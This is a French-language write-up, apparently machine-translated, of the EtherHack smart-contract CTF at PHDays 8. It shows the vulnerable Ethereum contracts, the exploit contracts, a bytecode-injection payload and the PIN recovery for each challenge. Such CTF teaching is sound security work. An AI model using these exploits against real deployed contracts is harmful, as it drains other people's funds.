Trouver des vulnérabilités dans les contrats intelligents: examen EtherHack lors des jours de piratage positifs 8

image

Cette année, PHDays a organisé pour la première fois un concours appelé EtherHack . Les participants ont recherché des vulnérabilités dans les contrats intelligents pour la vitesse. Dans cet article, nous vous expliquerons les tâches du concours et les moyens possibles de les résoudre.

Azino 777


Gagnez à la loterie et cassez le pot!


Les trois premières tâches étaient liées à des erreurs dans la génération de nombres pseudo-aléatoires, dont nous avons récemment parlé: Prédire les nombres aléatoires dans les contrats intelligents Ethereum . La première tâche était basée sur un générateur de nombres pseudo-aléatoires (PRNG), qui utilisait le hachage du dernier bloc comme source d'entropie pour générer des nombres aléatoires:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

Étant donné que le résultat de l'appel de la fonction block.blockhash(block.number-1) sera le même pour toute transaction dans le même bloc, l'attaque peut utiliser un contrat d'exploitation avec la même fonction rand() pour appeler le contrat cible via un message interne:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

Privé Ryan


Nous avons ajouté une valeur initiale privée que personne ne calculera jamais.


Cette tâche est une version légèrement compliquée de la précédente. La variable de départ, qui est considérée comme privée, est utilisée pour compenser le nombre ordinal de bloc (block.number) afin que le hachage du bloc ne dépende pas du bloc précédent. Après chaque pari, la graine est réécrite dans un nouveau décalage «aléatoire». Par exemple, dans la loterie Slotthereum, c'était juste ça.

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

Comme dans la tâche précédente, le pirate n'avait besoin que de copier la fonction rand() dans l'exploit contractuel, mais dans ce cas, la valeur de la variable privée seed devait être obtenue en dehors de la blockchain, puis envoyée à l'exploit comme argument. Pour ce faire, vous pouvez utiliser la méthode web3.eth.getStorageAt () de la bibliothèque web3:

image

Lire le magasin de contrats en dehors de la blockchain pour obtenir la valeur initiale

Après avoir reçu la valeur initiale, il ne reste plus qu'à l'envoyer à l'exploit, qui est presque identique à celui de la première tâche:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

Roue de la fortune


Cette loterie utilise le hachage du bloc suivant. Essayez de le calculer!


Dans cette tâche, il était nécessaire de découvrir le hachage du bloc dont le numéro était stocké dans la structure du jeu après le pari. Ce hachage a ensuite été extrait pour générer un nombre aléatoire après le prochain pari.

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

Dans ce cas, il existe deux solutions possibles.

  1. Appelez le contrat cible deux fois via le contrat d'exploitation. Le résultat de l'appel de la fonction block.blockhash (block.number) sera toujours nul.
  2. Attendez que 256 blocs se glissent et faites un deuxième pari. Le hachage de numéro de séquence de bloc stocké sera nul en raison des limitations d'Ethereum Virtual Machine (EVM) sur le nombre de hachages de bloc disponibles.

Dans les deux cas, le pari gagnant sera uint256(keccak256(bytes32(0))) % 100 ou «47».

Appelez-moi peut-être


Ce contrat n'aime pas quand d'autres contrats l'appellent.


Une façon de protéger un contrat d'être appelé par d'autres contrats consiste à utiliser l'instruction d'assemblage EVM extcodesize , qui renvoie la taille du contrat à son adresse. La méthode consiste à utiliser cette instruction pour l'adresse de l'expéditeur de la transaction à l'aide de l'insertion d'assembleur. Si le résultat est supérieur à zéro, l'expéditeur de la transaction est un contrat, car les adresses ordinaires dans Ethereum n'ont pas de code. C'est précisément cette approche qui a été utilisée dans cette tâche pour empêcher d'autres contrats d'appeler le contrat.

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

La tx.origin transaction tx.origin pointe vers le créateur d'origine de la transaction et msg.sender vers le dernier appelant. Si nous envoyons la transaction à partir de l'adresse habituelle, ces variables seront égales et nous nous retrouverons avec revert() . Par conséquent, pour résoudre notre problème, il était nécessaire de contourner la vérification de l'instruction extcodesize afin que tx.origin et msg.sender différents. Heureusement, il existe une fonctionnalité intéressante dans EVM qui peut vous aider:

image

En effet, lorsque le contrat qui vient d'être placé appelle un autre contrat chez le constructeur, il n'existe pas encore lui-même dans la blockchain, il agit exclusivement comme un portefeuille. Ainsi, le code n'est pas lié au nouveau contrat et extcodesize renverra zéro:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

La serrure


Curieusement, le château est fermé. Essayez de récupérer le code PIN via la fonction de déverrouillage (code PIN octets4). Chaque tentative de déverrouillage vous coûtera 0,5 éther.


Dans cette tâche, les participants n'ont pas reçu de code - ils ont dû restaurer la logique du contrat par son bytecode. Une option était d'utiliser Radare2, une plate-forme utilisée pour démonter et déboguer les EVM .

Pour commencer, nous publierons un exemple de la tâche et entrerons le code au hasard:

 await contract.unlock("1337", {value: 500000000000000000}) →false 

La tentative, bien sûr, est bonne, mais infructueuse. Essayez maintenant de déboguer cette transaction.

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

Dans ce cas, nous demandons à Radare2 d'utiliser l'architecture evm. Cet outil se connecte ensuite au nœud Ethereum et récupère la trace de cette transaction dans la machine virtuelle. Et maintenant, enfin, nous sommes prêts à plonger dans le bytecode EVM.

Tout d'abord, vous devez effectuer une analyse:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

Ensuite, nous démontons les 1000 premières instructions (cela devrait suffire pour couvrir l'intégralité du contrat) à l'aide de la commande pd 1000 et passons à l'affichage du graphique avec la commande VV.

Dans le code d'octets EVM compilé avec solc , le gestionnaire de fonctions vient généralement en premier. Sur la base des quatre premiers octets des données d'appel contenant la signature de fonction, qui est définie comme bytes4(sha3(function_name(params))) , le gestionnaire de fonction décide quelle fonction appeler. Nous nous intéressons à la fonction de unlock(bytes4) , qui correspond à 0x75a4e3a0 .

Après le flux d'exécution à l'aide de la clé s, nous arrivons au nœud qui compare l' callvalue avec la valeur 0x6f05b59d3b20000 ou 500000000000000000 , ce qui équivaut à 0,5 éther:

 push8 0x6f05b59d3b20000 callvalue lt 

Si l'éther fourni est suffisant, alors on se retrouve dans un nœud qui ressemble à une structure de contrôle:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

Le code place la valeur 0x4 en haut de la pile, vérifie la limite supérieure (la valeur ne doit pas dépasser 0xff) et compare lt avec une valeur qui a été dupliquée à partir du quatrième élément de la pile (dup4).

En défilant tout en bas du graphique, nous voyons que ce quatrième élément est essentiellement un itérateur, et cette structure de contrôle est une boucle qui correspond à for(var i=0; i<4; i++):

 push1 0x1 add swap4 

Si nous considérons le corps de la boucle, il devient évident qu'il énumère quatre octets entrants et effectue certaines opérations avec chacun des octets. Tout d'abord, la boucle vérifie que le nième octet est supérieur à 0x30:

 push1 0x30 dup3 lt iszero 

et aussi que cette valeur est inférieure à 0x39:

 push1 0x39 dup3 gt iszero 

qui est essentiellement une vérification que l'octet donné est dans la plage de 0 à 9. Si la vérification réussit, nous nous retrouvons dans le bloc de code le plus important:

image

Décomposons ce bloc en plusieurs parties:

1. Le troisième élément de la pile est le code ASCII du nième octet du code PIN. 0x30 (code ASCII pour zéro) est poussé sur la pile puis soustrait du code de cet octet:

 push1 0x30 dup3 sub 

Autrement dit, le pincode[i] - 48 , et nous obtenons essentiellement un chiffre du code ASCII, appelons-le d.

2. 0x4 est ajouté à la pile et utilisé comme exposant pour le deuxième élément de la pile, d:

 swap1 pop push1 0x4 dup2 exp 

Autrement dit, d ** 4 .

3. Le cinquième élément de la pile est récupéré et le résultat de l'exponentiation y est ajouté. Appelons cette somme S:

 dup5 add swap4 pop dup1 

Autrement dit, S += d ** 4 .

4. 0xa (code ASCII pour 10) est poussé sur la pile et utilisé comme multiplicateur pour le septième élément de la pile (qui était le sixième avant cet ajout). Nous ne savons pas ce que c'est, donc nous appellerons cet élément U. Ensuite, d est ajouté au résultat de la multiplication:

 push1 0xa dup7 mul add swap5 pop 

C'est-à-dire: U = U * 10 + d ou, plus simplement, cette expression récupère le code PIN entier sous forme de nombre à partir d'octets individuels ([0x1, 0x3, 0x3, 0x7] → 1337) .

La chose la plus difficile que nous ayons faite, passons maintenant au code après la boucle.

 dup5 dup5 eq 

Si les cinquième et sixième éléments de la pile sont égaux, le flux d'exécution nous mènera à l'instruction sstore, qui définit un certain indicateur dans le magasin de contrats. Puisque c'est la seule instruction sstore, c'est apparemment ce que nous recherchions.

Mais comment passer ce test? Comme nous l'avons déjà découvert, le cinquième élément de la pile est S et le sixième est U. Puisque S est la somme de tous les chiffres du code PIN élevé à la quatrième puissance, nous avons besoin d'un code PIN pour lequel cette condition sera remplie. Dans notre cas, l'analyse a montré que 1**4 + 3**4 + 3**4 + 7**4 n'est pas égal à 1337, et nous ne sommes pas sstore instruction gagnante sstore .

Mais maintenant, nous pouvons calculer un nombre qui satisfait aux conditions de cette équation. Il n'y a que trois nombres qui peuvent être écrits comme la somme de leurs chiffres du quatrième degré: 1634, 8208 et 9474. Chacun d'entre eux peut ouvrir la serrure!

Bateau pirate


Salut Salag! Un bateau pirate amarré au port. Faites-lui jeter l'ancre et soulevez le drapeau avec Jolly Roger et partez à la recherche de trésors.


Le cours standard d'exécution du contrat comprend trois actions:

  1. Un appel à la fonction dropAnchor() avec un numéro de bloc qui doit être plus de 100 000 blocs plus grand que le bloc actuel. La fonction crée dynamiquement un contrat, qui est une "ancre", qui peut être "levée" en utilisant selfdestruct() après le bloc spécifié.
  2. Un appel à la fonction pullAnchor() , qui lance selfdestruct() si suffisamment de temps s'est écoulé (beaucoup de temps!).
  3. Appelez sailAway (), qui définit blackJackIsHauled sur true s'il n'existe aucun contrat d'ancrage.

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

La vulnérabilité est assez évidente: nous avons une injection directe d'instructions d'assembleur lors de la création d'un contrat dans la fonction dropAnchor() . Mais la principale difficulté était de créer une charge utile qui nous permettrait de passer le block.number .

Dans EVM, vous pouvez créer des contrats à l'aide de l'instruction create. Ses arguments sont la valeur, le décalage d'entrée et la taille d'entrée. value est un bytecode qui héberge le contrat lui-même (code d'initialisation). Dans notre cas, le code d'initialisation + le code de contrat est placé dans uint256 (merci à l'équipe GasToken pour l'idée):

 0x6a63004141414310585733ff600052600b6015f3 

où les octets en gras sont le code du contrat hébergé et 414141 est le site d'injection. Puisque nous sommes confrontés à la tâche de nous débarrasser de l'opérateur de projection, nous devons insérer notre nouveau contrat et réécrire la partie finale du code d'initialisation. Essayons d'injecter le contrat avec l'instruction 0xff, ce qui entraînera la suppression inconditionnelle du contrat d'ancrage à l'aide de selfdestruct() :

  68 414141ff3f3f3f3f3f ;;  contrat push9
 60 00 ;;  push1 0
 52 ;;  mstore
 60 09 ;;  push1 9
 60 17 ;;  push1 17
 f3 ;;  retour 

Si nous convertissons cette séquence d'octets en uint256 (9081882833248973872855737642440582850680819) et l'utilisons comme argument de la fonction dropAnchor() , nous obtenons la valeur suivante pour la variable de code (le bytecode en gras est notre charge utile):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

Une fois que la variable de code fait partie de la variable initcode, nous obtenons la valeur suivante:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

Maintenant, les octets élevés 0x6300 disparu et le reste du bytecode est supprimé après 0xf3 (return) .

image

En conséquence, un nouveau contrat avec la logique modifiée est créé:

  41 ;;  coinbase
 41 ;;  coinbase
 41 ;;  coinbase
 ff ;;  auto-destruction
 3f ;;  ordure
 3f ;;  ordure
 3f ;;  ordure
 3f ;;  ordure
 3f ;;  ordure 

Si nous appelons maintenant la fonction pullAnchor (), ce contrat sera immédiatement détruit, car nous n'avons plus de contrôle sur block.number. Après cela, nous appelons la fonction sailAway () et célébrons la victoire!

Résultats


  1. Première place et diffusion d'un montant équivalent à 1 000 dollars américains: Alexey Pertsev (p4lex)
  2. Deuxième place et Ledger Nano S: Alexey Markov
  3. Troisième place et souvenirs PHDays: Alexander Vlasov

Tous les résultats: etherhack.positive.com/#/scoreboard

image

Félicitations aux gagnants et merci à tous les participants!

PS Merci à Zeppelin d' avoir rendu le code source de la plateforme Ethernaut CTF open source.

Source: https://habr.com/ru/post/fr414959/


All Articles